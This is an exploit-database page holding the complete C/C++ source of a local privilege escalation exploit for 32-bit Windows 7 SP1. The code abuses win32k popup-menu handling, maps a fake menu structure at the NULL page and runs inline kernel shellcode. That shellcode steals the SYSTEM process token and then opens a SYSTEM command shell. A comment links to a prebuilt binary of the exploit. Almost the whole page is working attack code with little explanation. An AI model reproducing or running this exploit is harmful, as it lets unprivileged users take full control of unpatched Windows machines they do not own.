Microsoft Windows 7 build 7601 (x86) Local Privilege Escalation

2019.08.07
Credit: Anonymouse
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

#include <Windows.h> #include <iostream> /* EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47176.zip */ /* PREPROCESSOR DEFINITIONS */ #define MN_SELECTITEM 0x1E5 #define MN_SELECTFIRSTVALIDITEM 0x1E7 #define MN_OPENHIERARCHY 0x01E3 #define MN_CANCELMENUS 0x1E6 #define MN_BUTTONDOWN 0x1ed #define WM_EX_TRIGGER 0x6789 #define NtCurrentProcess() (HANDLE)-1 #define NtCurrentThread() (HANDLE)-1 #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define TYPE_WINDOW 1 /* GLOBAL VARIABLES */ static BOOL hWindowHuntDestroy = FALSE; static BOOL bEnterEvent = FALSE; static BOOL success = FALSE; static HMENU hMenuList[3] = { 0 }; static HWND hWindowMain = NULL; static HWND hWindowHunt = NULL; static HWND hwndMenuList[3] = { 0 }; static PVOID MemAddr = (PVOID)1; static SIZE_T MemSize = 0x1000; static DWORD iCount = 0; static DWORD release = 0; /* Structure definition of win32k!tagWND returned by xxHMValidateHandle */ typedef struct _HEAD { HANDLE h; DWORD cLockObj; } HEAD, *PHEAD; typedef struct _THROBJHEAD { HEAD head; PVOID pti; } THROBJHEAD, *PTHROBJHEAD; typedef struct _DESKHEAD { PVOID rpdesk; PBYTE pSelf; } DESKHEAD, *PDESKHEAD; typedef struct _THRDESKHEAD { THROBJHEAD thread; DESKHEAD deskhead; } THRDESKHEAD, *PTHRDESKHEAD; /* Definition of xxHMValidateHandle */ static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL; /* Defintion of NtallocateVirtualMemory */ typedef NTSTATUS (WINAPI *pfNtAllocateVirtualMemory) ( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; static VOID xxGetHMValidateHandle(VOID) { HMODULE hModule = LoadLibraryA("USER32.DLL"); PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); PBYTE Address = NULL; for (INT i = 0; i < 0x30; i++) { if (*(WORD *)(i + pfnIsMenu) != 0x02B2) { continue; } i += 2; if (*(BYTE *)(i + pfnIsMenu) != 0xE8) { continue; } Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu; Address = Address + i + 5; pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address; break; } } static PVOID xxHMValidateHandleEx(HWND hwnd) { return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW); } static PVOID xxHMValidateHandle(HWND hwnd) { PVOID RetAddr = NULL; if (!pfnHMValidateHandle) { xxGetHMValidateHandle(); } if (pfnHMValidateHandle) { RetAddr = xxHMValidateHandleEx(hwnd); } return RetAddr; } static BOOL xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra, WNDPROC pfnProc = DefWindowProcW) { WNDCLASSEXW wc = { 0 }; wc.cbSize = sizeof(WNDCLASSEXW); wc.lpfnWndProc = pfnProc; wc.cbWndExtra = cbWndExtra; wc.hInstance = GetModuleHandleA(NULL); wc.lpszMenuName = NULL; wc.lpszClassName = lpszClassName; return RegisterClassExW(&wc); } static HWND xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle, HINSTANCE hInstance = NULL, HWND hwndParent = NULL) { return CreateWindowExW(dwExStyle, lpszClassName, NULL, dwStyle, 0, 0, 1, 1, hwndParent, NULL, hInstance, NULL); } static LRESULT CALLBACK xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam) { tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam; if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1]) { printf("Sending the MN_CANCELMENUS message\n"); SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0); bEnterEvent = FALSE; } return CallNextHookEx(0, code, wParam, lParam); } static VOID CALLBACK xxWindowEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime ) { UNREFERENCED_PARAMETER(hWinEventHook); UNREFERENCED_PARAMETER(event); UNREFERENCED_PARAMETER(idObject); UNREFERENCED_PARAMETER(idChild); UNREFERENCED_PARAMETER(idEventThread); UNREFERENCED_PARAMETER(dwmsEventTime); bEnterEvent = TRUE; if (iCount < ARRAYSIZE(hwndMenuList)) { hwndMenuList[iCount] = hwnd; iCount++; } SendMessageW(hwnd, MN_SELECTITEM, 0, 0); SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0); PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0); } __declspec(noinline) int Shellcode() { __asm { xor eax, eax // Set EAX to 0. mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData. // _KTHREAD is located at FS:[0x124] mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process mov ecx, eax // Copy current process _EPROCESS structure mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, 0B8h cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token mov[ecx + 0xF8], edx // Assign SYSTEM process token. } } static LRESULT WINAPI xxMainWindowProc( _In_ HWND hwnd, _In_ UINT msg, _In_ WPARAM wParam, _In_ LPARAM lParam ) { if (msg == 0x1234) { WORD um = 0; __asm { // Grab the value of the CS register and // save it into the variable UM. //int 3 mov ax, cs mov um, ax } // If UM is 0x1B, this function is executing in usermode // code and something went wrong. Therefore output a message that // the exploit didn't succeed and bail. if (um == 0x1b) { // USER MODE printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n"); ExitProcess(-1); // Bail as if this code is hit either the target isn't // vulnerable or something is wrong with the exploit. } else { success = TRUE; // Set the success flag to indicate the sprayCallback() // window procedure is running as SYSTEM. Shellcode(); // Call the Shellcode() function to perform the token stealing and // to remove the Job object on the Chrome renderer process. } } return DefWindowProcW(hwnd, msg, wParam, lParam); } int main() { /* Creating the menu */ for (int i = 0; i < 3; i++) hMenuList[i] = CreateMenu(); /* Appending the menus along with the item */ for (int i = 0; i < 3; i++) { AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item"); } AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item"); /* Creating a main window class */ xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc); hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN", WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST, WS_VISIBLE, GetModuleHandleA(NULL)); printf("Handle of the mainWindow : 0x%08X\n", (unsigned int)hWindowMain); ShowWindow(hWindowMain, SW_SHOWNOACTIVATE); /* Creating the hunt window class */ xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc); hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT", WS_EX_LEFT, WS_OVERLAPPEDWINDOW, GetModuleHandleA(NULL)); printf("Handle of the huntWindow : 0x%08X\n", (unsigned int)hWindowHunt); /* Hooking the WH_CALLWNDPROC function */ SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId()); /* Hooking the trackpopupmenuEx WINAPI call */ HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0); /* Setting the root popup menu to null */ printf("Setting the root popup menu to null\n"); release = 0; TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL); /* Allocating the memory at NULL page */ *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory"); if (NtAllocateVirtualMemory == NULL) return 1; if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(), &MemAddr, 0, &MemSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || MemAddr != NULL) { std::cout << "[-]Memory alloc failed!" << std::endl; return 1; } ZeroMemory(MemAddr, MemSize); /* Getting the tagWND of the hWindowHunt */ PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt); printf("Address of the win32k!tagWND of hWindowHunt : 0x%08X\n", (unsigned int)head->deskhead.pSelf); /* Creating a fake POPUPMENU structure */ DWORD dwPopupFake[0x100] = { 0 }; dwPopupFake[0x0] = (DWORD)0x1; //->flags dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup dwPopupFake[0x5] = (DWORD)0x1; //->spmenu dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12; //->spwndActivePopup dwPopupFake[0x8] = (DWORD)0x1; //->ppopupmenuRoot dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree dwPopupFake[0xA] = (DWORD)0x1; //->posSelectedItem dwPopupFake[0xB] = (DWORD)0x1; //->posDropped dwPopupFake[0xC] = (DWORD)0; /* Copying it to the NULL page */ RtlCopyMemory(MemAddr, dwPopupFake, 0x1000); /* Allowing to access the NULL page mapped values */ release = 1; hwndMenuList[2] = NULL; TrackPopupMenuEx(hMenuList[1], 0, 0, 0, hWindowMain, NULL); /* Freeing the allocated NULL memory */ VirtualFree(MemAddr, 0x1000, 0); SendMessageW(hWindowHunt, 0x1234, (WPARAM)hwndMenuList[0], 0x11); if (success) { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; printf("Getting the shell now...\n"); BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); if (bRet) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } } DestroyWindow(hWindowMain); MSG msg = { 0 }; while (GetMessageW(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessageW(&msg); } return 0; }


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top